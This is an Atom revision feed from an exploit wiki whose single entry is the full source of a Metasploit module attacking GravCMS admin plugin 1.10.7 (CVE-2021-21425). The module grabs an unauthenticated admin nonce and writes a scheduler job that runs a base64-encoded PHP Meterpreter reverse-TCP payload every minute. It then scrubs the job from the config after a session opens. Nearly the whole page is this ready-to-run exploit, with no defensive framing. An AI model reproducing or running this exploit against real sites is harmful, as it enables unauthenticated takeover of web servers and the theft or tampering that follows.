<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-21425_GravCMS_1.10.7_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E4%BB%BB%E6%84%8FYAML%E5%AF%AB%E5%85%A5%2F%E6%9B%B4%E6%96%B0%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-21425 GravCMS 1.10.7 未經身份驗證任意YAML寫入/更新漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-21425_GravCMS_1.10.7_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E4%BB%BB%E6%84%8FYAML%E5%AF%AB%E5%85%A5%2F%E6%9B%B4%E6%96%B0%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-21425_GravCMS_1.10.7_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E4%BB%BB%E6%84%8FYAML%E5%AF%AB%E5%85%A5/%E6%9B%B4%E6%96%B0%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T20:56:35Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-21425_GravCMS_1.10.7_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E4%BB%BB%E6%84%8FYAML%E5%AF%AB%E5%85%A5/%E6%9B%B4%E6%96%B0%E6%BC%8F%E6%B4%9E&amp;diff=1855&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-21425_GravCMS_1.10.7_%E6%9C%AA%E7%B6%93%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E4%BB%BB%E6%84%8FYAML%E5%AF%AB%E5%85%A5/%E6%9B%B4%E6%96%B0%E6%BC%8F%E6%B4%9E&amp;diff=1855&amp;oldid=prev"/>
		<updated>2021-04-22T02:02:53Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
  Rank = NormalRanking&lt;br /&gt;
&lt;br /&gt;
  include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
&lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(&lt;br /&gt;
      update_info(&lt;br /&gt;
        info,&lt;br /&gt;
        'Name' =&amp;gt; 'GravCMS Remote Command Execution',&lt;br /&gt;
        'Description' =&amp;gt; %q{&lt;br /&gt;
          This module exploits arbitrary config write/update vulnerability to achieve remote code execution.&lt;br /&gt;
          Unauthenticated users can execute a terminal command under the context of the web server user.&lt;br /&gt;
&lt;br /&gt;
          Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages.&lt;br /&gt;
          In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without&lt;br /&gt;
          needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of&lt;br /&gt;
          existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes,&lt;br /&gt;
          such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability,&lt;br /&gt;
          an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command&lt;br /&gt;
          under the context of the web-server user.&lt;br /&gt;
        },&lt;br /&gt;
        'License' =&amp;gt; MSF_LICENSE,&lt;br /&gt;
        'Author' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            'Mehmet Ince &amp;lt;mehmet@mehmetince.net&amp;gt;' # author &amp;amp; msf module&lt;br /&gt;
          ],&lt;br /&gt;
        'References' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            ['CVE', '2021-21425'],&lt;br /&gt;
            ['URL', 'https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/']&lt;br /&gt;
          ],&lt;br /&gt;
        'Privileged' =&amp;gt; true,&lt;br /&gt;
        'Platform' =&amp;gt; ['php'],&lt;br /&gt;
        'Arch' =&amp;gt; ARCH_PHP,&lt;br /&gt;
        'DefaultOptions' =&amp;gt;&lt;br /&gt;
          {&lt;br /&gt;
            'payload' =&amp;gt; 'php/meterpreter/reverse_tcp',&lt;br /&gt;
            'Encoder' =&amp;gt; 'php/base64',&lt;br /&gt;
            'WfsDelay' =&amp;gt; 90&lt;br /&gt;
          },&lt;br /&gt;
        'Targets' =&amp;gt; [ ['Automatic', {}] ],&lt;br /&gt;
        'DisclosureDate' =&amp;gt; '2021-03-29',&lt;br /&gt;
        'DefaultTarget' =&amp;gt; 0,&lt;br /&gt;
        'Notes' =&amp;gt; {&lt;br /&gt;
          'Stability' =&amp;gt; [CRASH_SAFE],&lt;br /&gt;
          'Reliability' =&amp;gt; [REPEATABLE_SESSION],&lt;br /&gt;
          'SideEffects' =&amp;gt; [&lt;br /&gt;
            CONFIG_CHANGES # user/config/scheduler.yaml&lt;br /&gt;
          ]&lt;br /&gt;
        }&lt;br /&gt;
      )&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check&lt;br /&gt;
    # During the fix, developers changed admin-nonce to login-nonce.&lt;br /&gt;
&lt;br /&gt;
    res = send_request_cgi(&lt;br /&gt;
      'method' =&amp;gt; 'GET',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path, 'admin')&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    if res &amp;amp;&amp;amp; !res.get_hidden_inputs.first['admin-nonce'].nil?&lt;br /&gt;
      CheckCode::Appears&lt;br /&gt;
    else&lt;br /&gt;
      CheckCode::Safe&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def capture_cookie_token&lt;br /&gt;
    print_status 'Sending request to the admin path to generate cookie and token'&lt;br /&gt;
    res = send_request_cgi(&lt;br /&gt;
      'method' =&amp;gt; 'GET',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path, 'admin')&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    # Cookie must contain grav-site-az09-admin and admin-nonce form field must contain value&lt;br /&gt;
    if res &amp;amp;&amp;amp; res.get_cookies =~ /grav-site-[a-z0-9]+-admin=(\S*);/ &amp;amp;&amp;amp; !res.get_hidden_inputs.first['admin-nonce'].nil?&lt;br /&gt;
      print_good 'Cookie and CSRF token successfully extracted !'&lt;br /&gt;
    else&lt;br /&gt;
      fail_with Failure::UnexpectedReply, 'The server sent a response, but cookie and token was not found.'&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    @cookie = res.get_cookies&lt;br /&gt;
    @admin_nonce = res.get_hidden_inputs.first['admin-nonce']&lt;br /&gt;
&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def exploit&lt;br /&gt;
&lt;br /&gt;
    unless check == CheckCode::Appears&lt;br /&gt;
      fail_with Failure::NotVulnerable, 'Target is not vulnerable.'&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    capture_cookie_token&lt;br /&gt;
&lt;br /&gt;
    @task_name = Rex::Text.rand_text_alpha_lower(5)&lt;br /&gt;
&lt;br /&gt;
    # Msf PHP payload does not contain quotes for many good reasons. But a single quote will surround PHP binary's&lt;br /&gt;
    # parameter due to the command execution library of the GravCMS. For that reason, surrounding base64 part of the&lt;br /&gt;
    # payload with a double quote is necessary to command executed successfully.&lt;br /&gt;
&lt;br /&gt;
    payload.encoded.sub! 'base64_decode(', 'base64_decode(&amp;quot;'&lt;br /&gt;
    payload.encoded.sub! '));', '&amp;quot;));'&lt;br /&gt;
&lt;br /&gt;
    print_status 'Implanting payload via scheduler feature'&lt;br /&gt;
&lt;br /&gt;
    res = send_request_cgi(&lt;br /&gt;
      'method' =&amp;gt; 'POST',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),&lt;br /&gt;
      'cookie' =&amp;gt; @cookie,&lt;br /&gt;
      'vars_post' =&amp;gt; {&lt;br /&gt;
        'admin-nonce' =&amp;gt; @admin_nonce,&lt;br /&gt;
        'task' =&amp;gt; 'SaveDefault',&lt;br /&gt;
        &amp;quot;data[custom_jobs][#{@task_name}][command]&amp;quot; =&amp;gt; '/usr/bin/php',&lt;br /&gt;
        &amp;quot;data[custom_jobs][#{@task_name}][args]&amp;quot; =&amp;gt; &amp;quot;-r #{payload.encoded}&amp;quot;,&lt;br /&gt;
        &amp;quot;data[custom_jobs][#{@task_name}][at]&amp;quot; =&amp;gt; '* * * * *',&lt;br /&gt;
        &amp;quot;data[custom_jobs][#{@task_name}][output]&amp;quot; =&amp;gt; '',&lt;br /&gt;
        &amp;quot;data[status][#{@task_name}]&amp;quot; =&amp;gt; 'enabled',&lt;br /&gt;
        &amp;quot;data[custom_jobs][#{@task_name}][output_mode]&amp;quot; =&amp;gt; 'append'&lt;br /&gt;
      }&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    if res &amp;amp;&amp;amp; res.code == 200 &amp;amp;&amp;amp; res.body.include?('Successfully saved')&lt;br /&gt;
      print_good 'Scheduler successfully created ! Wait for 1 minute...'&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def on_new_session&lt;br /&gt;
    print_status 'Cleaning up the the scheduler...'&lt;br /&gt;
&lt;br /&gt;
    # Thanks to the YAML update method, we can remove the command details from the config file just by re-enabling&lt;br /&gt;
    # the scheduler without any parameter:) It will leave the only command name in the config file.&lt;br /&gt;
&lt;br /&gt;
    res = send_request_cgi(&lt;br /&gt;
      'method' =&amp;gt; 'POST',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),&lt;br /&gt;
      'cookie' =&amp;gt; @cookie,&lt;br /&gt;
      'vars_post' =&amp;gt; {&lt;br /&gt;
        'admin-nonce' =&amp;gt; @admin_nonce,&lt;br /&gt;
        'task' =&amp;gt; 'SaveDefault',&lt;br /&gt;
        &amp;quot;data[status][#{@task_name}]&amp;quot; =&amp;gt; 'enabled'&lt;br /&gt;
      }&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    if res &amp;amp;&amp;amp; res.code == 200 &amp;amp;&amp;amp; res.body.include?('Successfully saved')&lt;br /&gt;
      print_good 'The scheduler config successfully cleaned up!'&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
end&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>